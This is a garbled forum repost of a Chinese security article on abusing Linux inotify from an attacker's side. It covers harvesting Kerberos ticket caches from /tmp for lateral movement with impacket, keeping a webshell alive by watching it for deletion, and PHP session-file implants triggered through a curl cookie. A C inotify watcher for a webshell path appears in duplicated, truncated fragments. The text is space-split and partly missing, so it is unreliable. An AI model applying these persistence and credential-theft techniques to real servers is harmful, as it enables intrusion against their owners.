[14041] 2019-04-28_从攻击者角度重新思索inotityAPI的利用方式

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2019-04-28_从攻击者角度重新思索inotityAPI的利用方式 i n o t i t y   A P I   F r e e B u f   2 0 1 9 - 0 4 - 2 8 i n o t i f y   A P I 使 使 I T i n o t i f y   A P I 使 使 0 x 0 0     c c a c h e   l i n u x w i n d o w s A D L i n u x / t m p ( c c a c h e ) T G T ( T i c k e t - G r a n t i n g - T i c k e t ) k e r b e r o s k r b 5 c c _ % U I D % i m p a c k e t 使 使 p s e x e c . p y / s m b e x e c . p y 使 k e r b e r o s 寿 I n o t i f y   w a t c h e r / t m p w a t c h e r t m p k r b 5 c c _ L D A P 0 x 0 1   w e b s h e l l w e b s h e l l C M S 使 i n o t i f y w e b s h e l l P H P 0 x 0 2   P H P P H P I m p l a n t s s e s s _ A L E A I A C T A E S T X X C C C U R L c u r l   h t t p : / / l o c a l h o s t / t e s t . p h p   - - c o o k i e   " P H P S E S S I D = A L E A I A C T A E S T x 1 " * G i t h u b   F r e e B u f . C O M / /   E x a m p l e   b a s e d   o n   h t t p s : / / w w w . l y n x b e e . c o m / c - p r o g r a m - t o - m o n i t o r - a n d - n o t i f y - c h a n g e s - i n - a - d i r e c t o r y - f i l e - u s i n g - i n o t i f y / # d e f i n e   _ G N U _ S O U R C E # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < e r r n o . h > # i n c l u d e   < s y s / t y p e s . h > # i n c l u d e   < s y s / i n o t i f y . h > # i n c l u d e   < s y s / s t a t . h > # i n c l u d e   < l i m i t s . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < f c n t l . h > # i n c l u d e   < c u r l / c u r l . h > # d e f i n e   M A X _ E V E N T S   i n t   m a i n ( i n t   a r g c ,   c h a r   * * a r g v ) {         i n t   l e n g t h ,   i =   0 ,   w d ;         i n t   f d ;           c h a r   b u f f e r [ B U F _ L E N ] ;         / / I n i t i a t e   i n o t i f y         i f   ( ( f d   =   i n o t i f y _ i n i t ( ) )   <   0 )   {                 p r i n t f ( " C o u l d   n o t   i n i t i a t e   i n o t i f y ! ! n " i f   ( ( w d   =   i n o t i f y _ a d d _ w a t c h ( f d ,   " / v a r / w w w / h t m l / m y _ s h i n n y _ w e b s h e l l . p h p " ,   I N _ D E L E T E   |   I N _ D E L E T E _ S E L F )   = =   - 1 )   {                 p r i n t f ( " C o u l d   n o t   a d d   a   w a t c h e r ! ! n " ) ;                 r e t u r n   - 2 ;         }         / / M a i n   l o o p           i n t   m a i n ( i n t   a r g c ,   c h a r   * * a r g v ) {         i n t   l e n g t h ,   i =   0 ,   w d ;         i n t   f d ;           c h a r   b u f f e r [ B U F _ L E N ] ;         / / I n i t i a t e   i n o t i f y         i f   ( ( f d   =   i n o t i f y _ i n i t ( ) )   <   0 )   {                 p r i n t f ( " C o u l d   n o t   i n i t i a t e   i n o t i f y ! ! n "

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则